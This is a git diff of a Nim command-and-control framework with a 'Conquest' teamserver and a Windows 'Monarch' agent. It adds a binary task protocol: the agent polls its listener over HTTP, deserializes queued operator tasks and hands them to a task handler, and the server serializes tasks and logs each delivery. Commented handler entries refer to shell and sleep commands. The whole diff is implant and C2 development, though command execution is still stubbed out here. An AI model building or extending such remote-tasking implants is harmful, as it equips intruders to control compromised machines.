diff --git a/src/agents/monarch/http.nim b/src/agents/monarch/http.nim index 9dc3676..9f4cbaa 100644 --- a/src/agents/monarch/http.nim +++ b/src/agents/monarch/http.nim @@ -1,6 +1,6 @@ import httpclient, json, strformat, asyncdispatch -import ./[types, agentinfo] +import ./[types, utils, agentinfo] proc register*(config: AgentConfig): string = @@ -32,23 +32,24 @@ proc register*(config: AgentConfig): string = finally: client.close() -proc getTasks*(config: AgentConfig, agent: string): seq[Task] = +proc getTasks*(config: AgentConfig, agent: string): string = - # let client = newAsyncHttpClient() - # var responseBody = "" + let client = newAsyncHttpClient() + var responseBody = "" - # try: - # # Register agent to the Conquest server - # responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks") - # return parseJson(responseBody).to(seq[Task]) + try: + # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization + responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks") + return responseBody + + except CatchableError as err: + # When the listener is not reachable, don't kill the application, but check in at the next time + echo "[-] [getTasks]: Listener not reachable." + + finally: + client.close() - # except CatchableError as err: - # # When the listener is not reachable, don't kill the application, but check in at the next time - # echo "[-] [getTasks]: ", responseBody - # finally: - # client.close() - - return @[] + return "" proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool = diff --git a/src/agents/monarch/monarch.nim b/src/agents/monarch/monarch.nim index 069934f..67e5760 100644 --- a/src/agents/monarch/monarch.nim +++ b/src/agents/monarch/monarch.nim @@ -1,7 +1,8 @@ import strformat, os, times import winim -import ./[types, http, taskHandler] +import ./[types, http] +import task/handler, task/parser const ListenerUuid {.strdefine.}: string = "" const Octet1 {.intdefine.}: int = 0 @@ -57,16 +58,22 @@ proc main() = let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo fmt"[{date}] Checking in." - # Retrieve task queue from the teamserver for the current agent - let tasks: seq[Task] = config.getTasks(agent) + # Retrieve task queue for the current agent + let packet: string = config.getTasks(agent) - if tasks.len <= 0: - echo "[*] No tasks to execute." - continue + if packet.len <= 0: + echo "No tasks to execute." + continue + + let tasks: seq[Task] = deserializePacket(packet) + if tasks.len <= 0: + echo "No tasks to execute." + continue + # Execute all retrieved tasks and return their output to the server for task in tasks: - let result: TaskResult = task.handleTask(config) + let result: TaskResult = config.handleTask(task) discard config.postResults(agent, result) when isMainModule: diff --git a/src/agents/monarch/nim.cfg b/src/agents/monarch/nim.cfg index 83ee299..932c1d0 100644 --- a/src/agents/monarch/nim.cfg +++ b/src/agents/monarch/nim.cfg @@ -5,4 +5,4 @@ -d:Octet3="0" -d:Octet4="1" -d:ListenerPort=9999 --d:SleepDelay=1 +-d:SleepDelay=3 diff --git a/src/agents/monarch/taskHandler.nim b/src/agents/monarch/task/handler.nim similarity index 81% rename from src/agents/monarch/taskHandler.nim rename to src/agents/monarch/task/handler.nim index 5cd774c..c2754c9 100644 --- a/src/agents/monarch/taskHandler.nim +++ b/src/agents/monarch/task/handler.nim @@ -1,11 +1,13 @@ import strutils, tables, json -import ./common/types -import ./commands/commands +import ../types +import ../commands/commands +import sugar -proc handleTask*(task: Task, config: AgentConfig): TaskResult = - - var taskResult: TaskResult +proc handleTask*(config: AgentConfig, task: Task): TaskResult = + dump task + + # var taskResult = TaskResult # let handlers = { # CMD_SLEEP: taskSleep, # CMD_SHELL: taskShell, diff --git a/src/agents/monarch/task/parser.nim b/src/agents/monarch/task/parser.nim new file mode 100644 index 0000000..3b19e1c --- /dev/null +++ b/src/agents/monarch/task/parser.nim @@ -0,0 +1,90 @@ +import strutils, strformat + +import ../types +import ../utils +import ../../../common/types +import ../../../common/serialize + +proc deserializeTask*(bytes: seq[byte]): Task = + + var unpacker = initUnpacker(bytes.toString) + + let + magic = unpacker.getUint32() + version = unpacker.getUint8() + packetType = unpacker.getUint8() + flags = unpacker.getUint16() + seqNr = unpacker.getUint32() + size = unpacker.getUint32() + hmacBytes = unpacker.getBytes(16) + + # Explicit conversion from seq[byte] to array[16, byte] + var hmac: array[16, byte] + copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16) + + # Packet Validation + if magic != MAGIC: + raise newException(CatchableError, "Invalid magic bytes.") + + # TODO: Validate sequence number + + # TODO: Validate HMAC + + # TODO: Decrypt payload + # let payload = unpacker.getBytes(size) + + let + taskId = unpacker.getUint32() + agentId = unpacker.getUint32() + listenerId = unpacker.getUint32() + timestamp = unpacker.getUint32() + command = unpacker.getUint16() + + var argCount = unpacker.getUint8() + var args = newSeq[TaskArg](argCount) + + # Parse arguments + while argCount > 0: + args.add(unpacker.getArgument()) + dec argCount + + return Task( + header: Header( + magic: magic, + version: version, + packetType: packetType, + flags: flags, + seqNr: seqNr, + size: size, + hmac: hmac + ), + taskId: taskId, + agentId: agentId, + listenerId: listenerId, + timestamp: timestamp, + command: command, + argCount: argCount, + args: args + ) + +proc deserializePacket*(packet: string): seq[Task] = + + result = newSeq[Task]() + + var unpacker = initUnpacker(packet) + + var taskCount = unpacker.getUint8() + echo fmt"[*] Response contained {taskCount} tasks." + if taskCount <= 0: + return @[] + + while taskCount > 0: + + # Read length of each task and store the task object in a seq[byte] + let + taskLength = unpacker.getUint32() + taskBytes = unpacker.getBytes(int(taskLength)) + + result.add(deserializeTask(taskBytes)) + + dec taskCount \ No newline at end of file diff --git a/src/agents/monarch/types.nim b/src/agents/monarch/types.nim index 1153c0e..736d1df 100644 --- a/src/agents/monarch/types.nim +++ b/src/agents/monarch/types.nim @@ -1,6 +1,6 @@ import winim import ../../common/types -export Task, CommandType, TaskResult, StatusType +export PacketType, ArgType, HeaderFlags, CommandType, StatusType, ResultType, Header, TaskArg, Task, TaskResult type ProductType* = enum diff --git a/src/agents/monarch/utils.nim b/src/agents/monarch/utils.nim index 415729f..601e04f 100644 --- a/src/agents/monarch/utils.nim +++ b/src/agents/monarch/utils.nim @@ -1,5 +1,5 @@ import strformat -import ./common/types +import ./types proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string = let @@ -62,4 +62,9 @@ proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): strin else: discard - return "Unknown Windows Version" \ No newline at end of file + return "Unknown Windows Version" + +proc toString*(data: seq[byte]): string = + result = newString(data.len) + for i, b in data: + result[i] = char(b) \ No newline at end of file diff --git a/src/common/serialize.nim b/src/common/serialize.nim index 8d153ab..8d184b0 100644 --- a/src/common/serialize.nim +++ b/src/common/serialize.nim @@ -3,28 +3,18 @@ import ./types type Packer* = ref object - headerStream: StringStream - payloadStream: StringStream + stream: StringStream proc initTaskPacker*(): Packer = result = new Packer - result.headerStream = newStringStream() - result.payloadStream = newStringStream() + result.stream = newStringStream() -proc addToHeader*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} = - packer.headerStream.write(value) +proc add*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} = + packer.stream.write(value) return packer -proc addToPayload*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} = - packer.payloadStream.write(value) - return packer - -proc addDataToHeader*(packer: Packer, data: openArray[byte]): Packer {.discardable.} = - packer.headerStream.writeData(data[0].unsafeAddr, data.len) - return packer - -proc addDataToPayload*(packer: Packer, data: openArray[byte]): Packer {.discardable.} = - packer.payloadStream.writeData(data[0].unsafeAddr, data.len) +proc addData*(packer: Packer, data: openArray[byte]): Packer {.discardable.} = + packer.stream.writeData(data[0].unsafeAddr, data.len) return packer proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} = @@ -33,34 +23,79 @@ proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} = # Optional argument was passed as "", ignore return - packer.addToPayload(arg.argType) + packer.add(arg.argType) case arg.argType: of cast[uint8](STRING), cast[uint8](BINARY): # Add length for variable-length data types - packer.addToPayload(cast[uint32](arg.data.len)) - packer.addDataToPayload(arg.data) + packer.add(cast[uint32](arg.data.len)) + packer.addData(arg.data) else: - packer.addDataToPayload(arg.data) + packer.addData(arg.data) return packer -proc packPayload*(packer: Packer): seq[byte] = - packer.payloadStream.setPosition(0) - let data = packer.payloadStream.readAll() +proc pack*(packer: Packer): seq[byte] = + packer.stream.setPosition(0) + let data = packer.stream.readAll() result = newSeq[byte](data.len) for i, c in data: result[i] = byte(c.ord) - packer.payloadStream.setPosition(0) + packer.stream.setPosition(0) -proc packHeader*(packer: Packer): seq[byte] = - packer.headerStream.setPosition(0) - let data = packer.headerStream.readAll() +proc reset*(packer: Packer): Packer {.discardable.} = + packer.stream.close() + packer.stream = newStringStream() + return packer + +type + Unpacker* = ref object + stream: StringStream + position: int + +proc initUnpacker*(data: string): Unpacker = + result = new Unpacker + result.stream = newStringStream(data) + result.position = 0 + +proc getUint8*(unpacker: Unpacker): uint8 = + result = unpacker.stream.readUint8() + unpacker.position += 1 + +proc getUint16*(unpacker: Unpacker): uint16 = + result = unpacker.stream.readUint16() + unpacker.position += 2 + +proc getUint32*(unpacker: Unpacker): uint32 = + result = unpacker.stream.readUint32() + unpacker.position += 4 + +proc getUint64*(unpacker: Unpacker): uint64 = + result = unpacker.stream.readUint64() + unpacker.position += 8 + +proc getBytes*(unpacker: Unpacker, length: int): seq[byte] = + result = newSeq[byte](length) + let bytesRead = unpacker.stream.readData(result[0].addr, length) + unpacker.position += bytesRead - # Convert string to seq[byte] - result = newSeq[byte](data.len) - for i, c in data: - result[i] = byte(c.ord) + if bytesRead != length: + raise newException(IOError, "Not enough data to read") + +proc getArgument*(unpacker: Unpacker): TaskArg = + result.argType = unpacker.getUint8() - packer.headerStream.setPosition(0) \ No newline at end of file + case result.argType: + of cast[uint8](STRING), cast[uint8](BINARY): + # Variable-length fields are prefixed with the content-length + let length = unpacker.getUint32() + result.data = unpacker.getBytes(int(length)) + of cast[uint8](INT): + result.data = unpacker.getBytes(4) + of cast[uint8](LONG): + result.data = unpacker.getBytes(8) + of cast[uint8](BOOL): + result.data = unpacker.getBytes(1) + else: + discard \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index ab45159..34ad10c 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -5,9 +5,9 @@ import streams # Custom Binary Task structure const - MAGIC* = 0x514E3043'u32 # Magic value: C0NQ - VERSION* = 1'u8 # Version 1l - HEADER_SIZE* = 32'u8 # 32 bytes fixed packet header size + MAGIC* = 0x514E3043'u32 # Magic value: C0NQ + VERSION* = 1'u8 # Version 1 + HEADER_SIZE* = 32'u8 # 32 bytes fixed packet header size type PacketType* = enum diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index f471d32..500e0bd 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -1,10 +1,15 @@ -import prologue, json -import sequtils, strutils, times +import prologue, json, terminal, strformat +import sequtils, strutils, times, base64 import ./handlers -import ../utils +import ../[utils, globals] import ../../common/types +proc encode(bytes: seq[seq[byte]]): string = + result = "" + for task in bytes: + result &= encode(task) + proc error404*(ctx: Context) {.async.} = resp "", Http404 @@ -88,12 +93,34 @@ proc getTasks*(ctx: Context) {.async.} = agent = ctx.getPathParams("agent") try: + var response: seq[byte] let tasks = getTasks(listener, agent) - resp $tasks + + if tasks.len <= 0: + resp "", Http200 + return + + # Create response, containing number of tasks, as well as length and content of each task + # This makes it easier for the agent to parse the tasks + response.add(uint8(tasks.len)) + + for task in tasks: + response.add(uint32(task.len).toBytes()) + response.add(task) + + await ctx.respond( + code = Http200, + body = response.toString() + ) + + # Notify operator that agent collected tasks + {.cast(gcsafe).}: + let date = now().format("dd-MM-yyyy HH:mm:ss") + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$response.len} bytes sent.") + except CatchableError: resp "", Http404 - #[ POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results Called from agent to post results of a task diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim index 14dc62e..7e0caa7 100644 --- a/src/server/task/dispatcher.nim +++ b/src/server/task/dispatcher.nim @@ -179,6 +179,8 @@ proc handleAgentCommand*(cq: Conquest, input: string) = task = cq.parseTask(command, parsedArgs[1..^1]) taskData: seq[byte] = cq.serializeTask(task) + # cq.writeLine(taskData.toHexDump()) + # Add task to queue cq.interactAgent.tasks.add(taskData) cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}") diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim index ba546bf..68c829e 100644 --- a/src/server/task/packer.nim +++ b/src/server/task/packer.nim @@ -9,31 +9,32 @@ proc serializeTask*(cq: Conquest, task: Task): seq[byte] = # Serialize payload packer - .addToPayload(task.taskId) - .addToPayload(task.agentId) - .addToPayload(task.listenerId) - .addToPayload(task.timestamp) - .addToPayload(task.command) - .addToPayload(task.argCount) + .add(task.taskId) + .add(task.agentId) + .add(task.listenerId) + .add(task.timestamp) + .add(task.command) + .add(task.argCount) for arg in task.args: packer.addArgument(arg) - let payload = packer.packPayload() + let payload = packer.pack() + packer.reset() # TODO: Encrypt payload body # Serialize header packer - .addToHeader(task.header.magic) - .addToHeader(task.header.version) - .addToHeader(task.header.packetType) - .addToHeader(task.header.flags) - .addToHeader(task.header.seqNr) - .addToHeader(cast[uint32](payload.len)) - .addDataToHeader(task.header.hmac) + .add(task.header.magic) + .add(task.header.version) + .add(task.header.packetType) + .add(task.header.flags) + .add(task.header.seqNr) + .add(cast[uint32](payload.len)) + .addData(task.header.hmac) - let header = packer.packHeader() + let header = packer.pack() # TODO: Calculate and patch HMAC diff --git a/src/server/utils.nim b/src/server/utils.nim index 8f4257e..b6cb842 100644 --- a/src/server/utils.nim +++ b/src/server/utils.nim @@ -26,6 +26,11 @@ proc uuidToUint32*(uuid: string): uint32 = proc uuidToString*(uuid: uint32): string = return uuid.toHex(8) +proc toString*(data: seq[byte]): string = + result = newString(data.len) + for i, b in data: + result[i] = char(b) + proc toHexDump*(data: seq[byte]): string = for i, b in data: result.add(b.toHex(2)) @@ -35,6 +40,20 @@ proc toHexDump*(data: seq[byte]): string = else: result.add(" ") # Regular space +proc toBytes*(value: uint16): seq[byte] = + return @[ + byte(value and 0xFF), + byte((value shr 8) and 0xFF) + ] + +proc toBytes*(value: uint32): seq[byte] = + return @[ + byte(value and 0xFF), + byte((value shr 8) and 0xFF), + byte((value shr 16) and 0xFF), + byte((value shr 24) and 0xFF) + ] + # Function templates and overwrites template writeLine*(cq: Conquest, args: varargs[untyped]) = cq.prompt.writeLine(args)